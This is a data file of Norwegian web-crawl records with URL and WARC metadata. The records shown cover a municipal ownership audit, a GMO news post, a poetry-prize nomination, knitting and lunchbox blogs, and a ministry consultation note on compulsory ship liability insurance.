gjennom eierskapsmeldinga punkt 5.4.a bestemt at formannskapet (normalt) skal v\u00e6re generalforsamling i selskap hvor kommunen er eneaksjon\u00e6r, og i \u00f8vrige selskaper hvor kommunen har eierinteresser er det ordf\u00f8reren som (normalt) representerer kommunen p\u00e5 generalforsamlingene. Ordf\u00f8reren sier i intervju at det er han som m\u00f8ter p\u00e5 generalforsamling i stort sett alle selskaper kommunen eier. Mer\u00e5ker kommune er eneeier i kun ett selskap, Mer\u00e5ker n\u00e6ringspark AS. Vedtektene til Fides AS sier at styret skal best\u00e5 av fra 5 til 7 medlemmer. Styret best\u00e5r i dag av 7 medlemmer; 5 valgt av generalforsamlingen og 2 ansatterepresentanter. Vedtektene ble revidert p\u00e5 generalforsamlingen i En endring her var at eier ikke lenger velger vararepresentanter til styret. De ansatte velger fortsatt vararepresentanter. Fides AS utarbeider \u00e5rlig den pliktige \u00e5rsberetningen, men selskapet har ikke utarbeidet \u00e5rsmelding/-rapport siden Med \u00e5rsmelding forst\u00e5r vi en mer utfyllende rapport som sier litt mer enn \u00e5rsberetningen om selskapets drift og utvikling i l\u00f8pet av det siste \u00e5ret. Slike \u00e5rsmeldinger er ikke en lovp\u00e5lagt oppgave. Grunnen til at selskapet ikke skriver \u00e5rsmeldinger er if\u00f8lge daglig leder at dette ikke er lovp\u00e5lagt, og at det heller ikke har blitt etterspurt. Oppgaven har dermed ikke blitt prioritert. Ledelsen i selskapet sier at de ikke har noe \u00e5 utsette p\u00e5 Mer\u00e5ker kommune som eier. 2.5 Vurdering N\u00e5r kommuner velger \u00e5 skille ut virksomhet i selvstendige rettssubjekter, inneb\u00e6rer det at den politiske styringslinjen endrer karakter. Den tradisjonelle forvaltningsstyringen erstattes av eierstyring. Oppl\u00e6ring og informasjon Det er viktig at de til enhver tid sittende kommunestyremedlemmene f\u00e5r innsikt i de roller de innehar som b\u00e5de folkevalgt og aksjon\u00e6r. De folkevalgte m\u00e5 ha bevissthet om roller, styringslinjer og ansvarsfordeling. Kommunen har gjennomf\u00f8rt oppl\u00e6ring i eierskap og selskapsledelse som del av folkevalgtoppl\u00e6ringen. Ogs\u00e5 n\u00e5 i etterkant av valget h\u00f8sten 2015 b\u00f8r det gjennomf\u00f8res folkevalgtoppl\u00e6ring der eierstyring er et tema. Eierskapsmelding Ei eierskapsmelding skal uttrykke hvordan kommunen \u00f8nsker \u00e5 fremst\u00e5 som eier, og v\u00e6re et politisk og juridisk styringsgrunnlag knyttet til de ulike selskapene kommunen eier. Den b\u00f8r gi en enkel oversikt over alle selskapene der kommunen har en eierandel (hva eier vi?). Den b\u00f8r synliggj\u00f8re viktig informasjon om selskapene, som selskapets virksomhet, kommunens eierstrategier for selskapet (hvorfor eier vi selskapet?), Fides AS Mer\u00e5ker kommune 10\n\n", "language": "no", "__index_level_0__": "5e16fc13-a879-4a65-88ec-1e1219e332e0"}
{"url": "http://kilden.info/2013/05/31/seier-gmo-maiskrigen-i-europa-tapt/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:48:59Z", "text": "# Seier \u2013 GMO-maiskrigen i Europa tapt\n\nby kilden\u00a0\u2022\u00a031. mai 2013\n\n**Med unntak av Spania, Portugal og Tjekkia, skal Monsanto n\u00e5 ha stoppet produksjon av genmodifisert (GMO)- mais i hel e Europa.**\n\n\u00abI Europa selger Monsanto bare GM-mais i tre land. GM-mais utgj\u00f8r mindre enn 1% av EUs mais dyrking . Feltfors\u00f8k p\u00e5g\u00e5r i bare tre land. Vi vil ikke bruke mer penger for \u00e5 overbevise folk om \u00e5 dyrke dem, \u00absier Brandon Mitchener, Public Affairs Lead for Monsanto i Europa og Midt-\u00d8sten, i et intervju med Investigative Reporting Danmark.\n\n**Avgj\u00f8relsen tatt i all stillhet**\n\nMonsanto fant ingen grunn til \u00e5 informere om denne avgj\u00f8relsen og foretok den i stillhet, for \u00e5 unng\u00e5 negativ publisitet.\u00a0 Dette betyr at alle agribusiness-selskaper har gitt opp genmodifiserte avlinger i Europa, med unntak av salg til de tre landene Spania, Portugal og Tjekkia.\n\nI 2012 ga selskapene BASF, Bayer og Syngeta opp utviklingen av GMO-poteter i europa av samme \u00e5rsaker som Monsanto, slaget var tapt. Milj\u00f8vernorganisasjoner verden over jobber videre for \u00e5 stanse GMO-utviklingen, men denne delseieren er viktig\\!\n\nBilde:\u00a0veganovercome.com\n\n**Kilder:**\n", "language": "no", "__index_level_0__": "a8ff34d8-d251-47c9-add8-fbc46bf378d4"}
{"url": "https://sorlandetslitteraturpris.wordpress.com/2011/02/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:23:57Z", "text": "## Nominert 2011: \u00d8ystein\u00a0Hauge\n\n*februar 4, 2011*\n\n5\n\n\u00a0 \u00a0 \u00a0 \u00d8ystein Hauge: Stilleben (Tiden forlag). \u00d8ystein Hauge har vunnet Veg\u00e5rshei kulturpris og har en lang og \u00e6rerik bakgrunn som poesi og kulturformidler. \u00c5rets diktsamling inneholder haiku-aktige, men lite formfrossede dikt med eksistensielt relevant innhold. Diktene er av sjelden vare: b\u00e5de h\u00f8y kvalitet og tilgjengelig for alle. \u00a0\n\n\n", "language": "no", "__index_level_0__": "c1f7fd21-69c1-4a54-8e8b-dc44103526f9"}
{"url": "http://vrigmors.blogspot.com/2013/04/litt-inspirasjon.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:37:42Z", "text": "Dame p\u00e5 53, glad i garn, farver, n\u00e5l og tr\u00e5d. Trivelig at du titter innom \\~ h\u00e5per \u00e5 gi litt inspirasjon \n\n## 16\\. april 2013\n\n### Litt inspirasjon?\n\nS\u00e5 masse fint \u00e5 se hos andre, s\u00e5 kanskje p\u00e5 tide \u00e5 dele litt med dere ogs\u00e5 :)  \nHar etterhvert blitt noen magasiner med flotte m\u00f8nstre, is\u00e6r fra statene. Her er det s\u00e5 vanskelig \u00e5 velge syns jeg, er s\u00e5 utrolig mye lekkert  \n  \nHer er ett sjal, s\u00e5kalt Lace, ganske enkelt hullm\u00f8nster, og lengden kan du jo bestemme selv. I gjennomsnitt er slike sjal ca 160cm lange.  \n  \n\n\n\n  \nP\u00e5 dette m\u00f8nsteret er det lagt opp 88 masker, og rapporten g\u00e5r over 10 masker. Se pilene...  \n88 masker hvor kantmasken - f\u00f8rste & siste - alltid strikkes rett.  \n  \n\n\n\n  \nBare sp\u00f8r om noe er uforst\u00e5elig \\~ bare trivelig \u00e5 hjelpe :)  \n  \n\n\n\n  \n## Hjernen hviler aldri \\~ n\u00e5r vi sover, danser fantasien, er vel da vi dr\u00f8mmer om farver :)\n\n  \nG\u00f8y \u00e5 lage m\u00f8nster selv\n\n  \n\n## Meditativt...\n\nTenk; Einstein strikket ogs\u00e5, for \u00e5 klarne hjernen :)\n\nHa en fin & kreativ dag\n\n    \n\n", "language": "no", "__index_level_0__": "bafd80c9-9dc1-42db-980d-b7b24ce4b22a"}
{"url": "http://www.matpakkebloggen.no/2011/08/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:27:29Z", "text": "## mandag 29. august 2011\n\n### Kaninf\u00f4r\n\nDagens s\u00f8teste br\u00f8dskive?  \n\n\n\nRundstykke med osteskive fra Kavli, hjertesalat, oliven\u00f8yne, paprikanese, gressl\u00f8k-v\u00e6rh\u00e5r og munn med en matpenn som fremdeles ikke er s\u00e5 glad i \u00e5 skrive p\u00e5 fuktig underlag. :)  \n  \nHa en super mandag - her plaskregner det s\u00e5 dagen m\u00e5 jo bare bli bedre etter hvert\\!  \n\u2665 Marianne\n\nMarianne  kl. \n\n07:50    Ingen kommentarer:   Linker til dette innlegget         \n\n## mandag 15. august 2011\n\n### 'Funky' mat\n\nHer er det andre knallkule nettstedet jeg har lyst til \u00e5 dele med dere: Funky lunch.  \nEn sm\u00e5barnsfar i England ble frustrert over at fem\u00e5ringen ikke ville spise, s\u00e5 han ble rimelig kreativ med br\u00f8dskivene sine for \u00e5 se om det kunne hjelpe.  \nDet er masse inspirasjon \u00e5 hente p\u00e5 sidene hans, selv om jeg sjelden bruker doble br\u00f8dskiver eller helt lyst br\u00f8d. Uansett er det kule ting han f\u00e5r til, absolutt verdt \u00e5 f\u00e5 med seg. :)  \n  \n  \nHer er noe av det han har laget:  \n\n\n\n  \n\n\n  \n\n\n\n\n  \n\n\n\n\n  \n\n\n  \nHerlig, ikke sant? :)  \nH\u00e5per du ogs\u00e5 lar deg inspirere\\!  \n\u2665 Marianne\n\n11:00    4 kommentarer:   Linker til dette innlegget         \n## onsdag 10. august 2011\n\n### Monstermat\n\n  \nFiskekaker og gulr\u00f8tter er kanskje ikke det mest spennende - men med litt tilbeh\u00f8r og pynt blir tallerkenen (eller matboksen) oppgradert til 'morsom'. Eller hva synes du?  \n\n\n\nLettkokt gulrot er tredd p\u00e5 grillspyd.  \nFiskekaken er delt halvveis gjennom (horisontalt), tennene er tuppen av grillspydet, \u00f8ynene er laget av oliven og hvitost, tungen er gulrot (r\u00e5). P\u00e5 ryggen har monsteret sylteagurkskall. Jeg har brukt mattusj p\u00e5 \u00f8ynene og tungen.  \n  \nHvem har sagt man ikke kan leke med maten???  \n\u2665 Marianne\n\n12:20    3 kommentarer:   Linker til dette innlegget         \n\n## mandag 8. august 2011\n\n### Pyntet mat\n\nLitt ekstra pynt blir det i matboksene i ny og ne - denne gangen har jeg brukt de minste kakeutstikkerne fra cacas og laget sm\u00e5 blomster og hjerter av gulrot.  \nAgurken er stanset ut som blomster, med den midterste utstanseren. :)  \n  \nP\u00e5 br\u00f8dskiven i matboksen er det ogs\u00e5 agurker, og s\u00e5 stanset jeg ut en blomst i midten og byttet ut med gulrot. Pr\u00f8vde ogs\u00e5 det motsatte med en gulrotskive som ligger i det lille rommet - den fikk et senter av agurk.  \n\n\n\nEllers er det br\u00f8dskiver med kokt skinke og med kaviar, gulrot og agurk, paprika og ost. Minsten har f\u00e5tt kokt egg ogs\u00e5, for det er han s\u00e5 glad i.  \n\n\n\n  \n\u2665 Marianne\n\n22:39    9 kommentarer:   Linker til dette innlegget         \n\n Etiketter: matpakke \n\n## torsdag 4. august 2011\n\n### 'Tvillingbokser'\n\n\n\nKreativ p\u00e5 morgenkvisten? Ikke alltid, nei\\! :)  \nHer har guttene f\u00e5tt identiske matbokser.  \n  \nBr\u00f8dskiver med leverpostei og sylteagurk, br\u00f8dskive med ost, to sm\u00e5 riskaker (fra barnemathyllene), agurk og paprika, og to kalkunkj\u00f8ttboller hver.  \n\n\n\n  \nTjolahopp tjolahei\\!  \n  \n\u2665 Marianne\n\n Etiketter: matpakke \n\n## mandag 1. august 2011\n\n### Lavkarbo-lunsjboks\n\n\n\nHer er en lavkarbo-lunsjboks som ble pakket sammen p\u00e5 cirka 2 minutter ...  \nStekt kylling, mye paprika, og en halv Camembert ost.  \n  \nEnkelt - og kjempegodt\\!  \n\n\n\n  \n\nGod dag til deg\\!\n\n\u2665 Marianne\n\n Lagt inn av  \n\nMarianne  kl. \n23:10    1 kommentar:   Linker til dette innlegget         \n\n\n\n  - Marianne  \n    Jeg er i min beste alder, gift, mor til to flotte gutter p\u00e5 8 1/2 og 10 \u00e5r. Jeg er nok langt over gjennomsnittet opptatt av barns spisevaner og hvordan man kan lage god, \u00abriktig\u00bb og spennende mat for b\u00e5de store og sm\u00e5 - og jeg trives med \u00e5 blogge om dette.\n## MATPAKKE\n\n**FRA WIKIPEDIA:**  \n  \n**Matpakke** er ferdigtilberedt mat som er pakket inn og tatt med ut av hjemmet til for eksempel arbeidsplasser, skoler eller som niste p\u00e5 turer. En typisk norsk matpakke best\u00e5r ofte av ferdigsmurte br\u00f8dskiver med p\u00e5legg, skilt med mellomleggspapir og pakket inn i matpapir eller en matboks.  \n  \nI den norske skolen er det vanlig at barn tar meg seg matpakke hjemmefra, som blir kalt skolemat eller niste. Det blir ofte blant de yngre elevene organisert spising av matpakke i skoletiden. Dette finner ofte sted rundt elleve-tiden om dagen. Skolen har ogs\u00e5 ofte melk- og frukt-ordninger der elevene f\u00e5r utdelt det ovenfornevnte.  \n  \nMatpakken er en tradisjon i Norge som strekker seg fra 1930-tallet. Ordet matpakke kom p\u00e5 3. plass da TV-programmet \u00abTypisk norsk\u00bb k\u00e5ret typiske norske ord blant seerne.  \n  \nBlant annet har Knutsen & Ludvigsen laget en hyllest til fenomenet med sangen \u00abMatpakkespisevise\u00bb.  \n  \n\\---oOo--- ---oOo--- ---oOo---  \n  \nEn **matboks** er en boks man kan transportere eller oppbevare (niste)mat i, f.eks matpakke. Den blir fortrinnsvis brukt til medbrakt lunsjmat, men kan ogs\u00e5 benyttes til oppbevaring av restemat fra et tidligere m\u00e5ltid. Matbokser er vanligvis laget av tre, metall eller plast. Matbokser kan v\u00e6re utsmykket med logoer og tegninger. Gamle matbokser kan bli samleobjekter.  \n  \nVerdens st\u00f8rste samling av matbokser befinner seg i Columbus i den amerikanske delstaten Georgia. Museet er bare fire \u00e5r gammelt, men inneholder allerede mer enn tusen matbokser og matchende tilbeh\u00f8r som kj\u00f8lebager og termoser. Her kan man beskue alt fra gamle metallbokser til skolebarnas moderne plastvarianter.  \n  \n\n    \n\n## Jeg samarbeider med LabelDaddy\n\n  \n", "language": "no", "__index_level_0__": "57929a1c-5b49-49d1-a4ed-90bcd41f38a4"}
{"url": "http://docplayer.me/4710263-1-gjennomforing-i-norsk-rett-av-europaparlaments-og-radsdirektiv-2009-20-ef-av-23-april-2009-om-skipsrederes-forsikring-mot-sjorettslige-krav.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:33:58Z", "text": "1 H\u00f8ringsnotat Lovavdelingen April 2012 Snr H\u00d8RING GJENNOMF\u00d8RING I NORSK RETT AV 1) EUROPAPARLAMENTS- OG R\u00c5DSDIREKTIV 2009/20/EF OM SKIPSREDERES FORSIKRING MOT SJ\u00d8RETTSLIGE KRAV OG 2) KOMMISJONSFORORDNING (EU) NR. 285/2010 OM ENDRING AV EUROPAPARLAMENTS- OG R\u00c5DSFORORDNING (EF) NR. 785/2004 OM FORSIKRINGSKRAV FOR LUFTFARTSSELSKAPER OG LUFTFARTSOPERAT\u00d8RER 1 Gjennomf\u00f8ring i norsk rett av Europaparlaments- og r\u00e5dsdirektiv 2009/20/EF av 23. april 2009 om skipsrederes forsikring mot sj\u00f8rettslige krav 1.1 Gjeldende rett Norsk rett har ingen generelle regler om tvungen ansvarsforsikring for eiere av skip, men sj\u00f8loven har regler om dette p\u00e5 s\u00e6rskilte omr\u00e5der. Den internasjonale konvensjon 27. november 1992 om erstatningsansvar for oljes\u00f8lskade (CLC-konvensjonen) og den internasjonale konvensjon 23. mars 2001 om erstatningsansvar for bunkersoljes\u00f8lskade (bunkerskonvensjonen) er i norsk rett gjennomf\u00f8rt i sj\u00f8loven kapittel 10. Det inneb\u00e6rer at eiere av skip p\u00e5 n\u00e6rmere angitte vilk\u00e5r er underlagt regler om tvungen ansvarsforsikring som dekker ansvar for forurensningsskade for\u00e5rsaket av henholdsvis olje og bunkersolje opp til n\u00e6rmere fastsatte ansvarsgrenser. Selv om det i norsk rett ikke oppstilles en generell regel om tvungen ansvarsforsikring, har de fleste skip tegnet ansvarsforsikring p\u00e5 frivillig basis i dag. Forsikringsdekningen er imidlertid forskjellig avhengig av om skipet er inntegnet i en av P\\&I-klubbene som er medlem av The International Group of P\\&I Clubs, eller om forsikringen er tegnet i det vanlige kommersielle markedet. I tillegg vil dekningen etter P\\&I-forsikringen bero p\u00e5 om den er tegnet p\u00e5 norske eller engelske vilk\u00e5r. S\u00e5 langt departementet kjenner til, er det prim\u00e6rt skip p\u00e5 2000 bruttotonn eller mer som har P\\&I-forsikring. Norsk kyst- og fisketonnasje som ikke er inntegnet i en av P\\&I-klubbene, vil v\u00e6re forsikret p\u00e5 basis av Sj\u00f8forsikringsplanen av 1996, kap. 17. For ordens skyld nevnes at forsikring av fart\u00f8yer med mindre enn 15 meters lengde er underlagt tvingende bestemmelser i lov 16. juni 1989 nr. 69 om forsikringsavtaler 1-3. For n\u00e6ringsfart\u00f8yer mindre enn 15 meter er det utarbeidet egne forsikringsvilk\u00e5r\n\n\n\n2 tilpasset forsikringsavtalelovens tvingende bestemmelser. Ettersom direktivets regler gjelder for skip p\u00e5 300 bruttotonn eller mer (se punkt 1.2 nedenfor), antas disse reglene ikke \u00e5 v\u00e6re relevante i denne sammenhengen. 1.2 Direktivets krav Direktiv 2009/20/EF p\u00e5legger eiere av skip \u00e5 tegne forsikring for skip av en viss st\u00f8rrelse. Den obligatoriske forsikringen skal dekke sj\u00f8rettslige krav som er omfattet av 1996-protokollen til London-konvensjonen 1976 om begrensing av ansvaret for sj\u00f8rettslige krav (1996-globalbegrensningskonvensjonen). Form\u00e5let med direktivet fremg\u00e5r av fortalen. Konkret anses forsikringsplikt for eiere av skip \u00e5 styrke skadelidtes erstatningsrettslige vern. Innf\u00f8ringen av en forsikringsplikt inng\u00e5r som et ledd i EUs maritime politikk med \u00e5 bedre kvaliteten p\u00e5 handelsfarten ved \u00e5 ansvarliggj\u00f8re akt\u00f8rene, med \u00e5 eliminere substandard skip og \u00e5 gjenskape konkurranse mellom akt\u00f8rene. Direktivet krever at alle skip p\u00e5 300 bruttotonn eller mer, jf. artikkel 2 nr. 1, skal ha en forsikring som dekker krav som er omfattet av 1996-globalbegrensningskonvensjonen, minst opp til et bel\u00f8p som tilsvarer begrensningsbel\u00f8pet etter nevnte konvensjon, jf. artikkel 4 nr. 3. Medlemsstatene skal s\u00f8rge for at alle skip under eget flagg har slik forsikring, jf. artikkel 4 nr. 1. Videre skal medlemsstatene kreve at alle fremmede skip som anl\u00f8per havn i medlemsstaten, har slik forsikring, jf. artikkel 4 nr. 2. Direktivet forhindrer ikke at man kan operere med slike krav ogs\u00e5 ellers n\u00e5r utenlandske skip opererer i et lands territorielle farvann. Skipet skal ha sertifikat fra forsikringsgiveren om bord, jf. artikkel 6 nr. 1. Hvilken informasjon som skal fremg\u00e5 av sertifikatet, og hvilket spr\u00e5k det skal v\u00e6re p\u00e5, er n\u00e6rmere regulert, jf. artikkel 6 nr. 2 og artikkel 6 nr. 3. Medlemsstatene skal kontrollere at utenlandske skip har sertifikatet om bord i forbindelse med gjennomf\u00f8ring av havnestatskontroll i henhold til direktiv 2009/16/EF (havnestatskontrolldirektivet), jf. artikkel 5 nr. 1. Skip som mangler sertifikatet, kan bortvises og skal nektes adgang til alle havner i E\u00d8S-omr\u00e5det inntil sertifikat foreligger, jf. artikkel 5 nr. 2. Medlemsstatene skal videre innf\u00f8re et sanksjonssystem for brudd p\u00e5 reglene som gjennomf\u00f8rer direktivet, jf. artikkel 7. Slik direktivet er utformet, er det tilstrekkelig at medlemsstatene innf\u00f8rer et administrativt sanksjonssystem. Direktivet fastsl\u00e5r at det ikke skal ha innvirkning p\u00e5 ordninger innf\u00f8rt ved gjeldende rettsakter i den enkelte medlemsstat, og som er oppf\u00f8rt i bilaget til direktivet, jf. artikkel 2 nr. 3. Bilaget til direktivet viser til den ansvarsreguleringen som er etablert i internasjonale konvensjoner vedtatt i regi av FNs internasjonale sj\u00f8fartsorganisasjon (International Maritime Organization, IMO). Det er vist til f\u00f8lgende rettsakter: Side 2\n\n. Form\u00e5let med direktivet fremg\u00e5r av fortalen. Konkret anses forsikringsplikt for eiere av skip \u00e5 styrke skadelidtes erstatningsrettslige vern.\")\n\n, som p\u00e5legger alle skip over 300 bruttotonn \u00e5 ha forsikring som dekker alle kostnadene til fjerning av skipsvraket dersom skipet blir vrak\")\n\n\n\n5 strandet eller forlatt, innbefattet alt som er eller har v\u00e6rt om bord i slikt skip. Konvensjonen artikkel 2 nr. 1 bokstav e gjelder krav i anledning av fjerning, \u00f8deleggelse eller uskadeliggj\u00f8relse av skipets last. Norge tok et slikt forbehold 28. juni 2002, og for de nevnte kravene opererer vi i norsk rett med h\u00f8yere ansvarsgrenser enn det 1996-globalbegrensningskonvensjonen fastsetter, jf. sj\u00f8loven 175 a, jf. 172 a. Reglene er n\u00e6rmere omhandlet i Ot.prp. nr. 79 ( ). De alminnelige ansvarsgrensene gjelder heller ikke for statsskip i ikkekommersiell drift eller boreskip, jf. sj\u00f8loven 181. Departementet forst\u00e5r direktivet slik at det ikke \u00e5pner for \u00e5 p\u00e5legge forsikringsplikt utover de ansvarsgrenser 1996-globalbegrensningskonvensjonen fastsetter, verken for utenlandske skip eller for skip under norsk flagg. Konsekvensen av dette er at det for slike krav som det er fastsatt h\u00f8yere ansvarsgrenser for, jf. sj\u00f8loven 175 a, jf. 172 a, kun kan kreves tvungen forsikring innenfor 1996-globalbegrensningskonvensjonens rammer. Det overskytende ansvaret vil st\u00e5 uforsikret, med mindre det dekkes av frivillig tegnet forsikring. Departementets forslag baserer seg p\u00e5 denne forst\u00e5elsen av direktivet, se forslaget til ny 182 a i sj\u00f8loven Sertifikat for forsikring eller sikkerhetsstillelse Etter direktivet er det tilstrekkelig at skipet har et sertifikat fra forsikringsgiver eller sikkerhetsstiller om bord, som viser at gyldig forsikring eller sikkerhetsstillelse er i kraft. Medlemsstatene p\u00e5legges med andre ord ikke \u00e5 utstede s\u00e6rlige sertifikater. Direktivet gir ogs\u00e5 enkelte regler om hva slike sertifikater skal inneholde, og p\u00e5 hvilket spr\u00e5k sertifikatet skal utstedes eller oversettes til. Departementet foresl\u00e5r at regler om sertifikatplikt tas inn i ny 182 a i sj\u00f8loven, se annet ledd, og at de n\u00e6rmere reglene om sertifikatenes innhold gis i forskrift, se forskriftshjemmelen i lovforslaget 182 a femte ledd og forslaget til forskrift i punkt Tilsyn og kontroll Direktivet har ingen s\u00e6rskilte regler om hvordan nasjonale myndigheter skal kontrollere at skip under deres flagg har oppfylt sin forsikrings- og sertifikatplikt. Reguleringen i direktivet artikkel 5 relaterer seg til utenlandske skip, da det uttrykkelig vises til direktiv 2009/16/EF (havnestatskontrolldirektivet), jf. nedenfor. Direktivet forutsetter imidlertid at kravene h\u00e5ndheves effektivt, jf. direktivet artikkel 7. For skip under norsk flagg ser departementet det som naturlig \u00e5 inkorporere kontrollen av oppfyllelse av forsikrings- og sertifikatplikten i allerede eksisterende tilsynsordninger. For dette form\u00e5let antas det at det er tilstrekkelig \u00e5 gi hjemmel til at myndighetene, eller de som bemyndiges, kan kreve at sertifikatet fremvises, jf. forskriftshjemmelen i lovforslaget 182 a femte ledd i punkt 5 og forslaget til forskrift om forsikring og annen sikkerhet for ansvar etter globalbegrensningskonvensjonen m.m. 2 i punkt 6. Plikten til \u00e5 fremvise sertifikatene vil ogs\u00e5 gjelde utenlandske skip. Side 5\n\n. De alminnelige ansvarsgrensene gjelder heller ikke for statsskip i ikkekommersiell drift eller boreskip, jf. sj\u00f8loven 181.\")\n\n6 For utenlandske skip forutsetter direktivet at kontrollene med at skipene har sertifikat, skal skje gjennom havnestatskontrollen. Direktivet viser til direktiv 2009/16/EF (havnestatskontrolldirektivet) som er gjennomf\u00f8rt i norsk rett i lov 16. februar 2007 nr. 9 om skipssikkerhet og forskrift 30. desember 2010 nr om kontroll med fremmede skip og flyttbare innretninger i norsk havn mv. (havnestatskontrollforskriften). Sertifikatet er allerede inkorporert i vedlegg nr. 3 til havnestatskontrollforskriften, jf. forskriften vedlegg 3 nr. 41. Sertifikatet vil dermed allerede v\u00e6re et av de dokumentene som kontrolleres i forbindelse med havnestatskontrollen Bortvisning av og anl\u00f8psforbud for utenlandske skip som ikke oppfyller sertifikatplikten Direktivet fastsetter at et skip under utenlandsk flagg skal kunne bortvises hvis det ikke har p\u00e5krevd sertifikat om bord, jf. direktivet artikkel 5 nr. 2. I praksis vil dette kunne v\u00e6re en f\u00f8lge av at det avdekkes at skipet ikke har sertifikat i forbindelse med havnestatskontrollen, jf. punkt ovenfor. Adgangen til \u00e5 bortvise et skip skal imidlertid ikke avskj\u00e6re adgangen til \u00e5 tilbakeholde et utenlands skip i henhold til havnestatskontrolldirektivet, slik dette er gjennomf\u00f8rt i norsk rett i lov 16. februar 2007 nr. 9 om skipssikkerhet og forskrift 30. desember 2010 nr om kontroll med fremmede skip og flyttbare innretninger i norsk havn mv. Hjemmel for bortvisning er inntatt i forslaget til ny 182 b f\u00f8rste ledd i sj\u00f8loven, se punkt 5. I tillegg krever direktivet at et utenlandsk skip som er bortvist fra en havn i en E\u00d8S-stat i henhold til direktivet, ikke skal gis adgang til \u00e5 anl\u00f8pe norske havner f\u00f8r gyldig sertifikat kan fremlegges, jf. direktivet artikkel 5 nr. 2 annet punktum. Dette m\u00e5 ses i sammenheng med at en utvisning fra havn i en E\u00d8S-stat skal notifiseres Kommisjonen, de \u00f8vrige medlemsstatene og den ber\u00f8rte flaggstaten, jf. direktivet artikkel 5 nr. 2 f\u00f8rste punktum. Hjemmel for bortvisning er inntatt i lovforslaget 182 b annet ledd Sanksjoner Direktivet fastsetter ikke konkrete krav til sanksjonering av tilsidesettelse av forsikrings- og sertifikatplikten fra skip under nasjonalt flagg. Det fastsettes imidlertid at tilsidesettelse av forsikringsplikten skal sanksjoneres p\u00e5 en effektiv, proposjonal og avskrekkende m\u00e5te, jf. direktivet artikkel 7. Departementet finner det her naturlig \u00e5 bygge p\u00e5 det allerede eksisterende sanksjonssystemet ved tilsidesettelse av tilsvarende plikter i sj\u00f8loven. I denne sammenheng vises det til at det er fastsatt sanksjoner for manglende forsikring og sertifikat for oljes\u00f8lskadeansvar i sj\u00f8loven 199. Bestemmelsen er gitt tilsvarende anvendelse ved tilsidesettelse av forsikrings- og sertifikatplikten for bunkersoljes\u00f8lskade, jf. sj\u00f8loven 187. P\u00e5 denne bakgrunn foresl\u00e5s det i 182 c en henvisning til sj\u00f8loven 199. Side 6\n\n\n\n\n\n\n\n10 forsikringsplikt vil medf\u00f8re noe \u00f8kt arbeid for Sj\u00f8fartsdirektoratet. Selv om Sj\u00f8fartsdirektoratet ikke vil m\u00e5tte utstede sertifikater, vil man som ledd i tilsyn med skip under norsk flagg og ved havnestatskontrollen overfor utenlandske skip kontrollere om skipet har forsikring(sbevis). Ytterligere m\u00e5 man st\u00e5 for h\u00e5ndheving av sanksjonene fastsatt i forslaget til ny 182 b og ny 182 c i sj\u00f8loven. Det antas at arbeidet vil kunne skje innenfor eksisterende rammer. For deler av rederin\u00e6ringen vil reglene om tvungen ansvarsforsikring kunne medf\u00f8re \u00f8kte premieutgifter. Det er s\u00e6rlig skip mellom 300 tonn og 2000 tonn som kan tenkes \u00e5 f\u00e5 st\u00f8rre utgifter til forsikring. For skip p\u00e5 2000 bruttotonn eller mer vil p\u00e5budet om tvungen ansvarsforsikring langt p\u00e5 vei inneb\u00e6re en kodifisering av gjeldende praksis. 3.2 Gjennomf\u00f8ring i norsk rett av forordning (EU) nr. 285/2010 Gjennomf\u00f8ringen av Kommisjonsforordning (EU) nr. 285/2010 kan ikke ses \u00e5 ville medf\u00f8re administrative eller \u00f8konomiske konsekvenser for det offentlige. Justeringen av forsikringskravene vil kunne tenkes \u00e5 medf\u00f8re \u00f8kte forsikringspremier for luftfartsn\u00e6ringen. 4 Merknader til de enkelte bestemmelser 4.1 Merknader til sj\u00f8loven Til 91 Annet ledd bokstav c endres slik at det henvises til tvangsfullbyrdelsesloven 4-1 annet ledd. Henvisningen til tvangsfullbyrdelsesloven 4-1 f\u00f8rste ledd er en inkurie, jf. H\u00f8yesteretts ankeutvalgs kjennelse 9. juni 2011 (HR U). Til ny 182 a Bestemmelsen foresl\u00e5s p\u00e5 bakgrunn av direktiv 2009/20/EF, se punkt 1 i h\u00f8ringsnotatet. F\u00f8rste ledd p\u00e5legger rederen av skip p\u00e5 300 tonn eller mer, under norsk flagg, en generell plikt til \u00e5 tegne ansvarsforsikring. N\u00e5r det gjelder begrunnelsen for valg av pliktsubjekt, se ovenfor i punkt Ansvarsforsikringen skal dekke det ansvar som kan begrenses etter 1996-globalbegrensningskonvensjonen. I lovforslaget \u00e5pnes det for at ogs\u00e5 annen sikkerhet enn forsikring kan v\u00e6re tilstrekkelig. Departementet antar at det s\u00e6rlig vil v\u00e6re aktuelt for skip som eies av stater eller andre offentlige rettssubjekter, i den grad de omfattes av reglene, jf. lovforslaget 182 a fjerde ledd. Slike rettssubjekter opererer ofte som selvassurand\u00f8rer. I f\u00f8rste ledds annet punktum fastsettes det at forsikringen skal dekke de maksimale ansvarsbel\u00f8p som 1996-globalbegrensningskonvensjonen fastsetter. I norsk rett opereres det med h\u00f8yere ansvarsgrenser for enkelte kravstyper, jf. sj\u00f8loven 172 a og Side 10\n\n\n11 175 a. Bakgrunnen for dette er et forbehold Norge har tatt etter konvensjonen. Etter departementets syn \u00e5pner direktivet neppe for at man kan operere med krav om forsikringsdekning for det overskytende ansvaret, jf. punkt ovenfor. Forsikringen skal likevel dekke de kravstypene hvor vi har s\u00e6rregler i norsk rett, men kravet om forsikring vil i omfang v\u00e6re begrenset til de konvensjonsfastsatte grenser. Annet ledd fastsetter at det skal utstedes sertifikat fra forsikringsgiveren eller sikkerhetsstilleren som bekrefter at det foreligger slik forsikring eller sikkerhet som f\u00f8rste ledd krever. Sertifikatet skal v\u00e6re om bord i skipet til enhver tid, og et skip kan ikke seile under norsk flagg uten at sertifikatet er om bord. Dette har en side til kontrollen med at p\u00e5lagt forsikring eller sikkerhet foreligger, da det forutsettes 